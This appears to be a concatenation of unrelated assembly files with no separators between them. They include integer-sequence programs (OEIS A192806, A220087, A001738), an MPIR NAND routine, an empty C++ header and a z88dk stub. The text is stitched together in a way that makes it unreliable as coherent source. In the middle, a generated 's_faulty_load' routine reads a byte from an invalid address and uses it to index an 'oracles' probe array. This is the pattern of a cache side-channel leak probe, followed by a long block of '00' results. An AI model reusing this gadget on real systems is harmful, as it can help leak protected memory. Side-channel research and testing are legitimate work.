; A192806: a(n) = 7*a(n-1) - 5*a(n-2) + a(n-3), with initial values a(0) = a(1) = 1, a(2)=4. ; 1,1,4,24,149,927,5768,35890,223317,1389537,8646064,53798080,334745777,2082876103,12960201916,80641778674,501774317241,3122171529233,19426970897100,120879712950776,752145307699165,4680045560037375,29120472094716576,181195222170528322,1127444240280152749,7015254043203144209,43650752323191774040,271606440286606849984,1690006574433492223897,10515664571924603091399,65431225571591367370292,407130262715950048358946,2533271375725618104752561,15762679542071167858843489,98079530178586034536500564,610276584915472020566039064,3797301123057445139138614117,23627804467003341905676604063,147018402238651639664609196920,914787094458602213263019972242,5692045454483960636423770425157,35417401111333365028315902311809,220376367601372354229355484029120,1371239613107423615100332647069952,8532212854856436899583867011655873,53089668286059312575814761330270471,330337853341240427147884326900683884 mul $0,3 trn $0,3 seq $0,89068 ; a(n) = a(n-1)+a(n-2)+a(n-3)+2 with a(0)=0, a(1)=0 and a(2)=1. add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbx lea addresses_D_ht+0x19589, %r15 nop add $54829, %r12 mov (%r15), %r8w inc %rbx pop %rbx pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %rbp push %rbx push %rdx push %rsi // Faulty Load mov $0x7e541a0000000f89, %rbp nop nop add %rsi, %rsi movb (%rbp), %bl lea oracles, %r14 and $0xff, %rbx shlq $12, %rbx mov (%r14,%rbx,1), %rbx pop %rsi pop %rdx pop %rbx pop %rbp pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; PROLOGUE(mpn_nand_n) ; Version 1.0.4 ; ; Copyright 2008 Jason Moxham ; ; Windows Conversion Copyright 2008 Brian Gladman ; ; This file is part of the MPIR Library. ; The MPIR Library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as published ; by the Free Software Foundation; either version 2.1 of the License, or (at ; your option) any later version. ; The MPIR Library is distributed in the hope that it will be useful, but ; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public ; License for more details. ; You should have received a copy of the GNU Lesser General Public License ; along with the MPIR Library; see the file COPYING.LIB. If not, write ; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, ; Boston, MA 02110-1301, USA. ; ; void mpn_nand_n(mp_ptr, mp_srcptr, mp_srcptr, mp_size_t) ; rdi rsi rdx rcx ; rcx rdx r8 r9 %include "yasm_mac.inc" CPU Athlon64 BITS 64 %define T3 r10 %define T4 r11 LEAF_PROC mpn_nand_n sub r9, 4 jb .2 xalign 16 .1: mov r10, [rdx+r9*8+24] mov r11, [rdx+r9*8+16] and r10, [r8+r9*8+24] and r11, [r8+r9*8+16] not r10 not r11 mov [rcx+r9*8+24], r10 mov [rcx+r9*8+16], r11 mov T3, [rdx+r9*8+8] mov T4, [rdx+r9*8] and T3, [r8+r9*8+8] and T4, [r8+r9*8] not T3 not T4 mov [rcx+r9*8+8], T3 mov [rcx+r9*8], T4 sub r9, 4 jnc .1 .2: add r9, 4 jz .3 mov r10, [rdx+r9*8-8] and r10, [r8+r9*8-8] not r10 mov [rcx+r9*8-8], r10 dec r9 jz .3 mov r10, [rdx+r9*8-8] and r10, [r8+r9*8-8] not r10 mov [rcx+r9*8-8], r10 dec r9 jz .3 mov r10, [rdx+r9*8-8] and r10, [r8+r9*8-8] not r10 mov [rcx+r9*8-8], r10 .3: ret end
/******************************************************************************* * Copyright 2018 BGx Graphics Framework. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ /* * author abijosh@gmail.com */ #ifndef BGX_GRAPHICS_G3D_PARTICLES_VALUES_CYLINDERSPAWNSHAPEVALUE_HPP #define BGX_GRAPHICS_G3D_PARTICLES_VALUES_CYLINDERSPAWNSHAPEVALUE_HPP #endif //BGX_GRAPHICS_G3D_PARTICLES_VALUES_CYLINDERSPAWNSHAPEVALUE_HPP
; A220087: 2^n - 27. ; -26,-25,-23,-19,-11,5,37,101,229,485,997,2021,4069,8165,16357,32741,65509,131045,262117,524261,1048549,2097125,4194277,8388581,16777189,33554405,67108837,134217701,268435429,536870885,1073741797,2147483621,4294967269 mov $1,2 pow $1,$0 sub $1,27 mov $0,$1
; size_t w_vector_append(b_vector_t *v, void *item) SECTION code_clib SECTION code_adt_w_vector PUBLIC w_vector_append_callee EXTERN asm_w_vector_append w_vector_append_callee: pop hl pop bc ex (sp),hl jp asm_w_vector_append
; A001738: Squares written in base 3. ; Submitted by Jamie Morken(w1) ; 0,1,11,100,121,221,1100,1211,2101,10000,10201,11111,12100,20021,21021,22100,100111,101201,110000,111101,112211,121100,122221,201121,210100,212011,221001,1000000,1002001,1011011,1020100,1022121,1101221,1111100,1120211,1200101,1210000,1212201,1222111,2002100,2012021,2022021,2102100,2112111,2122201,2210000,2220101,10000211,10011100,10021221,10102121,10120100,10201011,10212001,11000000,11011001,11022011,11110100,11121121,11202221,11221100,12002211,12021101,12110000,12121201,12210111,12222100 pow $0,2 mov $3,1 lpb $0 mov $2,$0 div $0,3 mod $2,3 mul $2,$3 add $1,$2 mul $3,10 lpe mov $0,$1